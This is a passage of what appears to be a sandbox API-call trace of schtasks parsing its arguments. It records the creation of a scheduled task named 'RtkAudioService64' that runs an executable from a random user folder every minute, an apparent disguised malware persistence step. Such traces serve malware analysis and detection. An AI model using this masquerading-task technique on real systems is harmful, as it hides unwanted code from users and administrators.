_BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tn|") returned 4 [0171.409] lstrlenW (lpString="|create|") returned 8 [0171.409] lstrlenW (lpString="|tn|") returned 4 [0171.409] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0171.409] RtlRestoreLastWin32Error () returned 0x490 [0171.409] lstrlenW (lpString="delete") returned 6 [0171.409] lstrlenW (lpString="delete") returned 6 [0171.409] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.409] lstrlenW (lpString="tn") returned 2 [0171.409] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.409] _vsnwprintf (in: _Buffer=0x46b9498, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|delete|") returned 8 [0171.409] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tn|") returned 4 [0171.409] lstrlenW (lpString="|delete|") returned 8 [0171.410] lstrlenW (lpString="|tn|") returned 4 [0171.410] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0171.410] RtlRestoreLastWin32Error () returned 0x490 [0171.410] lstrlenW (lpString="query") returned 5 [0171.410] lstrlenW (lpString="query") returned 5 [0171.410] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.410] lstrlenW (lpString="tn") returned 2 [0171.410] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.410] _vsnwprintf (in: _Buffer=0x46b9498, _BufferCount=0x8, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|query|") returned 7 [0171.410] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tn|") returned 4 [0171.410] lstrlenW (lpString="|query|") returned 7 [0171.410] lstrlenW (lpString="|tn|") returned 4 [0171.410] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0171.410] RtlRestoreLastWin32Error () returned 0x490 [0171.410] lstrlenW (lpString="change") returned 6 [0171.410] lstrlenW (lpString="change") returned 6 [0171.410] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.410] lstrlenW (lpString="tn") returned 2 [0171.410] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.410] _vsnwprintf (in: _Buffer=0x46b9498, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|change|") returned 8 [0171.410] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tn|") returned 4 [0171.410] lstrlenW (lpString="|change|") returned 8 [0171.410] lstrlenW (lpString="|tn|") returned 4 [0171.410] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0171.410] RtlRestoreLastWin32Error () returned 0x490 [0171.410] lstrlenW (lpString="run") returned 3 [0171.410] lstrlenW (lpString="run") returned 3 [0171.411] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.411] lstrlenW (lpString="tn") returned 2 [0171.411] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.411] _vsnwprintf (in: _Buffer=0x46b9498, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|run|") returned 5 [0171.411] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tn|") returned 4 [0171.411] lstrlenW (lpString="|run|") returned 5 [0171.411] lstrlenW (lpString="|tn|") returned 4 [0171.411] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0171.411] RtlRestoreLastWin32Error () returned 0x490 [0171.411] lstrlenW (lpString="end") returned 3 [0171.411] lstrlenW (lpString="end") returned 3 [0171.411] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.411] lstrlenW (lpString="tn") returned 2 [0171.411] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.411] _vsnwprintf (in: _Buffer=0x46b9498, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|end|") returned 5 [0171.411] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tn|") returned 4 [0171.411] lstrlenW (lpString="|end|") returned 5 [0171.411] lstrlenW (lpString="|tn|") returned 4 [0171.411] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0171.411] RtlRestoreLastWin32Error () returned 0x490 [0171.411] lstrlenW (lpString="showsid") returned 7 [0171.411] lstrlenW (lpString="showsid") returned 7 [0171.411] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.411] GetProcessHeap () returned 0x46b0000 [0171.411] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9498) returned 1 [0171.411] GetProcessHeap () returned 0x46b0000 [0171.411] RtlReAllocateHeap (Heap=0x46b0000, Flags=0xc, Ptr=0x46b9498, Size=0x16) returned 0x46b9638 [0171.411] lstrlenW (lpString="tn") returned 2 [0171.412] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.412] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0xa, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|showsid|") returned 9 [0171.412] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tn|") returned 4 [0171.412] lstrlenW (lpString="|showsid|") returned 9 [0171.412] lstrlenW (lpString="|tn|") returned 4 [0171.412] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0171.412] RtlRestoreLastWin32Error () returned 0x490 [0171.412] RtlRestoreLastWin32Error () returned 0x490 [0171.412] RtlRestoreLastWin32Error () returned 0x0 [0171.412] lstrlenW (lpString="/tn") returned 3 [0171.412] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0171.412] RtlRestoreLastWin32Error () returned 0x490 [0171.412] RtlRestoreLastWin32Error () returned 0x0 [0171.412] lstrlenW (lpString="/tn") returned 3 [0171.412] GetProcessHeap () returned 0x46b0000 [0171.412] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x8) returned 0x46b6da0 [0171.412] GetProcessHeap () returned 0x46b0000 [0171.412] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9798 [0171.412] RtlRestoreLastWin32Error () returned 0x0 [0171.412] RtlRestoreLastWin32Error () returned 0x0 [0171.412] lstrlenW (lpString="RtkAudioService64") returned 17 [0171.412] lstrlenW (lpString="-/") returned 2 [0171.412] StrChrIW (lpStart="-/", wMatch=0x4880052) returned 0x0 [0171.412] RtlRestoreLastWin32Error () returned 0x490 [0171.412] RtlRestoreLastWin32Error () returned 0x490 [0171.412] RtlRestoreLastWin32Error () returned 0x0 [0171.412] lstrlenW (lpString="RtkAudioService64") returned 17 [0171.412] StrChrIW (lpStart="RtkAudioService64", wMatch=0x3a) returned 0x0 [0171.412] RtlRestoreLastWin32Error () returned 0x490 [0171.412] RtlRestoreLastWin32Error () returned 0x0 [0171.412] lstrlenW (lpString="RtkAudioService64") returned 17 [0171.412] GetProcessHeap () returned 0x46b0000 [0171.412] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x24) returned 0x46b90c8 [0171.413] GetProcessHeap () returned 0x46b0000 [0171.413] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9698 [0171.413] RtlRestoreLastWin32Error () returned 0x0 [0171.413] RtlRestoreLastWin32Error () returned 0x0 [0171.413] lstrlenW (lpString="/tr") returned 3 [0171.413] lstrlenW (lpString="-/") returned 2 [0171.413] StrChrIW (lpStart="-/", wMatch=0x488002f) returned="/" [0171.413] lstrlenW (lpString="?") returned 1 [0171.413] lstrlenW (lpString="?") returned 1 [0171.413] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.413] lstrlenW (lpString="tr") returned 2 [0171.413] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.413] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|?|") returned 3 [0171.413] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tr|") returned 4 [0171.413] lstrlenW (lpString="|?|") returned 3 [0171.413] lstrlenW (lpString="|tr|") returned 4 [0171.413] RtlRestoreLastWin32Error () returned 0x490 [0171.413] lstrlenW (lpString="create") returned 6 [0171.413] lstrlenW (lpString="create") returned 6 [0171.413] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.413] lstrlenW (lpString="tr") returned 2 [0171.413] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.413] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|create|") returned 8 [0171.413] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tr|") returned 4 [0171.413] lstrlenW (lpString="|create|") returned 8 [0171.413] lstrlenW (lpString="|tr|") returned 4 [0171.413] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0171.414] RtlRestoreLastWin32Error () returned 0x490 [0171.414] lstrlenW (lpString="delete") returned 6 [0171.414] lstrlenW (lpString="delete") returned 6 [0171.414] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.414] lstrlenW (lpString="tr") returned 2 [0171.414] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.414] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|delete|") returned 8 [0171.414] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tr|") returned 4 [0171.414] lstrlenW (lpString="|delete|") returned 8 [0171.414] lstrlenW (lpString="|tr|") returned 4 [0171.414] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0171.414] RtlRestoreLastWin32Error () returned 0x490 [0171.414] lstrlenW (lpString="query") returned 5 [0171.414] lstrlenW (lpString="query") returned 5 [0171.414] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.414] lstrlenW (lpString="tr") returned 2 [0171.414] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.414] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x8, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|query|") returned 7 [0171.414] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tr|") returned 4 [0171.414] lstrlenW (lpString="|query|") returned 7 [0171.414] lstrlenW (lpString="|tr|") returned 4 [0171.414] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0171.414] RtlRestoreLastWin32Error () returned 0x490 [0171.414] lstrlenW (lpString="change") returned 6 [0171.414] lstrlenW (lpString="change") returned 6 [0171.414] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.414] lstrlenW (lpString="tr") returned 2 [0171.415] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.415] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|change|") returned 8 [0171.415] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tr|") returned 4 [0171.415] lstrlenW (lpString="|change|") returned 8 [0171.415] lstrlenW (lpString="|tr|") returned 4 [0171.415] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0171.415] RtlRestoreLastWin32Error () returned 0x490 [0171.415] lstrlenW (lpString="run") returned 3 [0171.415] lstrlenW (lpString="run") returned 3 [0171.415] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.415] lstrlenW (lpString="tr") returned 2 [0171.415] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.415] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|run|") returned 5 [0171.415] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tr|") returned 4 [0171.415] lstrlenW (lpString="|run|") returned 5 [0171.415] lstrlenW (lpString="|tr|") returned 4 [0171.415] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0171.415] RtlRestoreLastWin32Error () returned 0x490 [0171.415] lstrlenW (lpString="end") returned 3 [0171.415] lstrlenW (lpString="end") returned 3 [0171.415] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.415] lstrlenW (lpString="tr") returned 2 [0171.415] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.415] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|end|") returned 5 [0171.415] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tr|") returned 4 [0171.415] lstrlenW (lpString="|end|") returned 5 [0171.416] lstrlenW (lpString="|tr|") returned 4 [0171.416] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0171.416] RtlRestoreLastWin32Error () returned 0x490 [0171.416] lstrlenW (lpString="showsid") returned 7 [0171.416] lstrlenW (lpString="showsid") returned 7 [0171.416] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.416] lstrlenW (lpString="tr") returned 2 [0171.416] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.416] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0xa, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|showsid|") returned 9 [0171.416] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|tr|") returned 4 [0171.416] lstrlenW (lpString="|showsid|") returned 9 [0171.416] lstrlenW (lpString="|tr|") returned 4 [0171.416] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0171.416] RtlRestoreLastWin32Error () returned 0x490 [0171.416] RtlRestoreLastWin32Error () returned 0x490 [0171.416] RtlRestoreLastWin32Error () returned 0x0 [0171.416] lstrlenW (lpString="/tr") returned 3 [0171.416] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0171.416] RtlRestoreLastWin32Error () returned 0x490 [0171.416] RtlRestoreLastWin32Error () returned 0x0 [0171.416] lstrlenW (lpString="/tr") returned 3 [0171.416] GetProcessHeap () returned 0x46b0000 [0171.416] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x8) returned 0x46b9968 [0171.416] GetProcessHeap () returned 0x46b0000 [0171.416] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b97b8 [0171.416] RtlRestoreLastWin32Error () returned 0x0 [0171.416] RtlRestoreLastWin32Error () returned 0x0 [0171.416] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe") returned 61 [0171.416] lstrlenW (lpString="-/") returned 2 [0171.416] StrChrIW (lpStart="-/", wMatch=0x4880043) returned 0x0 [0171.417] RtlRestoreLastWin32Error () returned 0x490 [0171.417] RtlRestoreLastWin32Error () returned 0x490 [0171.417] RtlRestoreLastWin32Error () returned 0x0 [0171.417] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe") returned 61 [0171.417] StrChrIW (lpStart="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe", wMatch=0x3a) returned=":\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe" [0171.417] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe") returned 61 [0171.417] GetProcessHeap () returned 0x46b0000 [0171.417] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x10) returned 0x46b7610 [0171.417] _memicmp (_Buf1=0x46b7610, _Buf2=0x232708, _Size=0x7) returned 0 [0171.417] GetProcessHeap () returned 0x46b0000 [0171.417] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0xc) returned 0x46b7448 [0171.417] GetProcessHeap () returned 0x46b0000 [0171.417] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x10) returned 0x46b7568 [0171.417] _memicmp (_Buf1=0x46b7568, _Buf2=0x232708, _Size=0x7) returned 0 [0171.417] GetProcessHeap () returned 0x46b0000 [0171.417] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x80) returned 0x46b6b10 [0171.417] RtlRestoreLastWin32Error () returned 0x7a [0171.417] RtlRestoreLastWin32Error () returned 0x0 [0171.417] RtlRestoreLastWin32Error () returned 0x0 [0171.417] lstrlenW (lpString="C") returned 1 [0171.417] RtlRestoreLastWin32Error () returned 0x490 [0171.417] RtlRestoreLastWin32Error () returned 0x0 [0171.417] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe") returned 61 [0171.417] GetProcessHeap () returned 0x46b0000 [0171.417] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x7c) returned 0x46bab58 [0171.417] GetProcessHeap () returned 0x46b0000 [0171.417] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b96f8 [0171.417] RtlRestoreLastWin32Error () returned 0x0 [0171.417] RtlRestoreLastWin32Error () returned 0x0 [0171.417] lstrlenW (lpString="/sc") returned 3 [0171.417] lstrlenW (lpString="-/") returned 2 [0171.417] StrChrIW (lpStart="-/", wMatch=0x488002f) returned="/" [0171.418] lstrlenW (lpString="?") returned 1 [0171.418] lstrlenW (lpString="?") returned 1 [0171.418] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.418] lstrlenW (lpString="sc") returned 2 [0171.418] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.418] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|?|") returned 3 [0171.418] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|sc|") returned 4 [0171.418] lstrlenW (lpString="|?|") returned 3 [0171.418] lstrlenW (lpString="|sc|") returned 4 [0171.418] RtlRestoreLastWin32Error () returned 0x490 [0171.418] lstrlenW (lpString="create") returned 6 [0171.418] lstrlenW (lpString="create") returned 6 [0171.418] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.418] lstrlenW (lpString="sc") returned 2 [0171.418] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.418] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|create|") returned 8 [0171.418] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|sc|") returned 4 [0171.418] lstrlenW (lpString="|create|") returned 8 [0171.418] lstrlenW (lpString="|sc|") returned 4 [0171.418] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0171.418] RtlRestoreLastWin32Error () returned 0x490 [0171.418] lstrlenW (lpString="delete") returned 6 [0171.418] lstrlenW (lpString="delete") returned 6 [0171.418] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.418] lstrlenW (lpString="sc") returned 2 [0171.418] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.418] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|delete|") returned 8 [0171.419] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|sc|") returned 4 [0171.419] lstrlenW (lpString="|delete|") returned 8 [0171.419] lstrlenW (lpString="|sc|") returned 4 [0171.419] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0171.419] RtlRestoreLastWin32Error () returned 0x490 [0171.419] lstrlenW (lpString="query") returned 5 [0171.419] lstrlenW (lpString="query") returned 5 [0171.419] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.419] lstrlenW (lpString="sc") returned 2 [0171.419] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.419] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x8, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|query|") returned 7 [0171.419] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|sc|") returned 4 [0171.419] lstrlenW (lpString="|query|") returned 7 [0171.419] lstrlenW (lpString="|sc|") returned 4 [0171.419] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0171.419] RtlRestoreLastWin32Error () returned 0x490 [0171.419] lstrlenW (lpString="change") returned 6 [0171.419] lstrlenW (lpString="change") returned 6 [0171.419] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.419] lstrlenW (lpString="sc") returned 2 [0171.419] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.419] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|change|") returned 8 [0171.419] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|sc|") returned 4 [0171.419] lstrlenW (lpString="|change|") returned 8 [0171.419] lstrlenW (lpString="|sc|") returned 4 [0171.419] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0171.419] RtlRestoreLastWin32Error () returned 0x490 [0171.419] lstrlenW (lpString="run") returned 3 [0171.420] lstrlenW (lpString="run") returned 3 [0171.420] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.420] lstrlenW (lpString="sc") returned 2 [0171.420] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.420] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|run|") returned 5 [0171.420] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|sc|") returned 4 [0171.420] lstrlenW (lpString="|run|") returned 5 [0171.420] lstrlenW (lpString="|sc|") returned 4 [0171.420] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0171.420] RtlRestoreLastWin32Error () returned 0x490 [0171.420] lstrlenW (lpString="end") returned 3 [0171.420] lstrlenW (lpString="end") returned 3 [0171.420] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.420] lstrlenW (lpString="sc") returned 2 [0171.420] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.420] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|end|") returned 5 [0171.420] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|sc|") returned 4 [0171.420] lstrlenW (lpString="|end|") returned 5 [0171.420] lstrlenW (lpString="|sc|") returned 4 [0171.420] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0171.420] RtlRestoreLastWin32Error () returned 0x490 [0171.420] lstrlenW (lpString="showsid") returned 7 [0171.420] lstrlenW (lpString="showsid") returned 7 [0171.420] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.420] lstrlenW (lpString="sc") returned 2 [0171.420] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.421] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0xa, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|showsid|") returned 9 [0171.421] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|sc|") returned 4 [0171.421] lstrlenW (lpString="|showsid|") returned 9 [0171.421] lstrlenW (lpString="|sc|") returned 4 [0171.421] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0171.421] RtlRestoreLastWin32Error () returned 0x490 [0171.421] RtlRestoreLastWin32Error () returned 0x490 [0171.421] RtlRestoreLastWin32Error () returned 0x0 [0171.421] lstrlenW (lpString="/sc") returned 3 [0171.421] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0171.421] RtlRestoreLastWin32Error () returned 0x490 [0171.421] RtlRestoreLastWin32Error () returned 0x0 [0171.421] lstrlenW (lpString="/sc") returned 3 [0171.421] GetProcessHeap () returned 0x46b0000 [0171.421] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x8) returned 0x46b28f8 [0171.421] GetProcessHeap () returned 0x46b0000 [0171.421] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9718 [0171.421] RtlRestoreLastWin32Error () returned 0x0 [0171.421] RtlRestoreLastWin32Error () returned 0x0 [0171.421] lstrlenW (lpString="minute") returned 6 [0171.421] lstrlenW (lpString="-/") returned 2 [0171.421] StrChrIW (lpStart="-/", wMatch=0x488006d) returned 0x0 [0171.421] RtlRestoreLastWin32Error () returned 0x490 [0171.421] RtlRestoreLastWin32Error () returned 0x490 [0171.421] RtlRestoreLastWin32Error () returned 0x0 [0171.421] lstrlenW (lpString="minute") returned 6 [0171.421] StrChrIW (lpStart="minute", wMatch=0x3a) returned 0x0 [0171.421] RtlRestoreLastWin32Error () returned 0x490 [0171.421] RtlRestoreLastWin32Error () returned 0x0 [0171.421] lstrlenW (lpString="minute") returned 6 [0171.421] GetProcessHeap () returned 0x46b0000 [0171.422] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0xe) returned 0x46baeb0 [0171.422] GetProcessHeap () returned 0x46b0000 [0171.422] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9738 [0171.422] RtlRestoreLastWin32Error () returned 0x0 [0171.422] RtlRestoreLastWin32Error () returned 0x0 [0171.422] lstrlenW (lpString="/mo") returned 3 [0171.422] lstrlenW (lpString="-/") returned 2 [0171.422] StrChrIW (lpStart="-/", wMatch=0x488002f) returned="/" [0171.422] lstrlenW (lpString="?") returned 1 [0171.422] lstrlenW (lpString="?") returned 1 [0171.423] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.423] lstrlenW (lpString="mo") returned 2 [0171.423] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.423] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|?|") returned 3 [0171.423] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|mo|") returned 4 [0171.423] lstrlenW (lpString="|?|") returned 3 [0171.423] lstrlenW (lpString="|mo|") returned 4 [0171.423] RtlRestoreLastWin32Error () returned 0x490 [0171.424] lstrlenW (lpString="create") returned 6 [0171.424] lstrlenW (lpString="create") returned 6 [0171.424] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.424] lstrlenW (lpString="mo") returned 2 [0171.424] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.424] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|create|") returned 8 [0171.424] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", 